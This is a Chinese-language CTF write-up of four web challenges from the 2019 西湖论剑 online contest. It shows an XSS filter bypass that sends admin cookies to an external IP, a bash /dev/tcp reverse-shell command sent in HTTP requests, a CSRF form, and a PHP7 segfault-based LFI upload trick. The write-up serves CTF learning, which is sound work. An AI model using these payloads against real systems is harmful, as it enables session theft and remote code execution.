Back

2019 西湖论剑 Web wp

2019西湖论剑线上赛 Web wp。除了最后一道原题没时间做,其他都弄出来了。

[TOC]

Web

Web 1 猜猜 flag 在哪

Description

{% colorquote info %} NULL

题目地址:http://ctf1.linkedbyx.com:10122

{% endcolorquote %}

Hacking

扫目录发现有.DS_Store文件,发现http://ctf1.linkedbyx.com:10122/e10adc3949ba59abbe56e057f20f883e目录下有 git 泄露

拿到文件之后有个压缩包,尝试明文攻击得到 hint.txt

拿到 code 为 9faedd5999937171912159d28b219d86,访问flag/seed.txt发现回显 NAVIE

在首页输入 code 参数与 name 参数,回显了另一个 code

综合前面给出的flag/seed.txt,猜测是个随机数的问题,应该是要猜解随机数问题,用php_mt_seed这个工具直接爆破可以得到 seed

访问flag/209228.txt拿到 flag

Web2 breakout

Description

{% colorquote info %} NULL

题目地址:http://ctf2.linkedbyx.com:10611

{% endcolorquote %}

Hacking

随便用一个用户名进去。

有一个留言功能,可以进行留言,有一个 report 功能,可以报告一个 url 给管理员,还有一个执行命令与清空留言的功能。所以很明显的一个利用思路就是留言处进行 xss ,把留言界面的 url 发送给管理员,拿到 cookie 即可进行命令执行

我们先测试留言

<script>alert(1);</script>
<:)>alert(1);

发现是字符替代,基本过滤了 DOM 事件,测试用以下 payload

</li><iframe src='http://106.14.153.173:8080/'><li>

成功收到访问信息,所以需要我们绕过字符替代进行 xss 。按照我博客之前写的 xss 教程,我们可以在 src 处利用 html 实体编码来进行绕过,这样就不会出现关键字了,就像以下 payload :

</li><iframe src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:window.location='http://106.14.153.173:8080/?'+encodeURI(document.cookie)"></iframe><li>

然后我们只需要把http://ctf2.linkedbyx.com:10611/main.php在 report 界面提交就好了。

成功拿到 cookie ,这时候我们只需要带着 cookie 去执行命令就好了

POST /exec.php HTTP/1.1
Host: ctf2.linkedbyx.com:10611
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://ctf2.linkedbyx.com:10611/exec.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Connection: close
Cookie: PHPSESSID=hsujvjlaum6vc2c3tg5mraq774; token=KLIMdHTGEnxXSG4mrRRCuQ==; admin=admin_!@@!_admin_admin_hhhhh
Upgrade-Insecure-Requests: 1

command=bash%20-c%20%22sh%20%3E%26%20%2Fdev%2Ftcp%2Fyour_ip%2Fport%200%3E%261%22%20&exec=1

这里我直接弹了 shell ,在根目录下发现 flag.txt

其实如果拿不到 cookie 的话,也可以用以下方式去构造一个 CSRF

<form action="exec.php" method="post" id="myform">
<input value="bash -c 'sh >& /dev/tcp/your_ip/port 0>&1\'" name="command">
<input value="1" name="exec">
</form>
<iframe src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:parent.document.getElementById('myform').submit();"></iframe>

事实证明也确实可以这么去做。

waf 黑名单如下:

function waf($str){
  $black_list = "script|\W+on.*?=";
  $str = preg_replace("/".$black_list."/i",":)",$str);
  return $str;
}

Web 3 babyt3

Description

{% colorquote info %} babyt3(Ubuntu 16.04 php7.0)

题目地址:http://ctf1.linkedbyx.com:10010

{% endcolorquote %}

Hacking

index 提示了有 dir.php 跟 include $_GET['FILE']

Dir.php 可以列目录,在根目录下找到 flag ,用http://ctf1.linkedbyx.com:10010/?file=/ffffflag_1s_Her4包含即可

真心想吐槽,这么水的题你出在西湖论剑上合适吗???还不如月赛

赛后跟师傅们讨论的时候,发现 web3 这种题竟然…能放上来…

index.php 源码:

<?php
$a = @$_GET['file'];
if (!$a) {
	$a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
	die('nonono');
}
include $a;
?>

<!--hint: dir.php -->

Dir.php 源码:

<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));

然后我们就可以看到这个题是多么多么…

{% colorquote danger %}

strpos(‘flag’,$a) !== false

{% endcolorquote %}

strops参数都写反了…所以就成了没有过滤的一道题…

预期解

预期解猜测就是使用 php 7 的一个 segmentfault 错误的 bug,也对上了题目描述一开始给出了环境配置的原因

POST /index.php?file=php://filter/string.strip_tags/resource=/etc/passwd HTTP/1.1
Host: localhost:8001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/test.php
Content-Type: multipart/form-data; boundary=---------------------------9417939141775834208717807850
Content-Length: 248
Connection: close
Cookie: PHPSESSID=09e1deae1da0a95b2515a0c0a9a07c8b
Upgrade-Insecure-Requests: 1

-----------------------------9417939141775834208717807850
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
-----------------------------9417939141775834208717807850--

发以上 http 包,将php://filter/string.strip_tags/resource=/etc/passwd这个 payload 传入include方法会让 php 产生一个 segmentfault ,然后在这段时间内上传的文件将会存储在 php.ini 指定的 upload_tmp_dir 文件夹下,并且不会被删除。

这样我们就可以包含我们的恶意文件代码了。具体看LFI via SegmentFault

自己做了个漏洞环境供复现:PHP7-LFI

Web 4 blog

Description

{% colorquote info %} NULL

{% endcolorquote %}

Hacking

原题,Google CTF 2018 bbs

github 源码地址: https://github.com/google/google-ctf/tree/master/2018/quals/web-bbs

Wp: https://ctftime.org/task/6243

Conclusion

这次比赛收获不大,说实在的,还没安恒月赛质量高,而且第三题出的真的是秀了我一脸,让我很怀疑安恒对这次比赛的题目的检验等,也让我对接下来如何去办好一场比赛有一些借鉴经验,希望接下来的 SUCTF 全国赛不会出现这种难以入目的低级错误。

Licensed under CC BY-NC-SA 4.0

I am looking for some guys who have a strong interest in CTFs to build a team focused on international CTFs that are on the ctftime.org, if anyone is interested in this idea you can take a look at here: Advertisements


想了解更多有意思的国际赛 CTF 中 Web 知识技巧,欢迎加入我的 知识星球 ; 另外我正在召集一群小伙伴组建一支专注国际 CTF 的队伍,如果有感兴趣的小伙伴也可在 International CTF Team 查看详情


comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy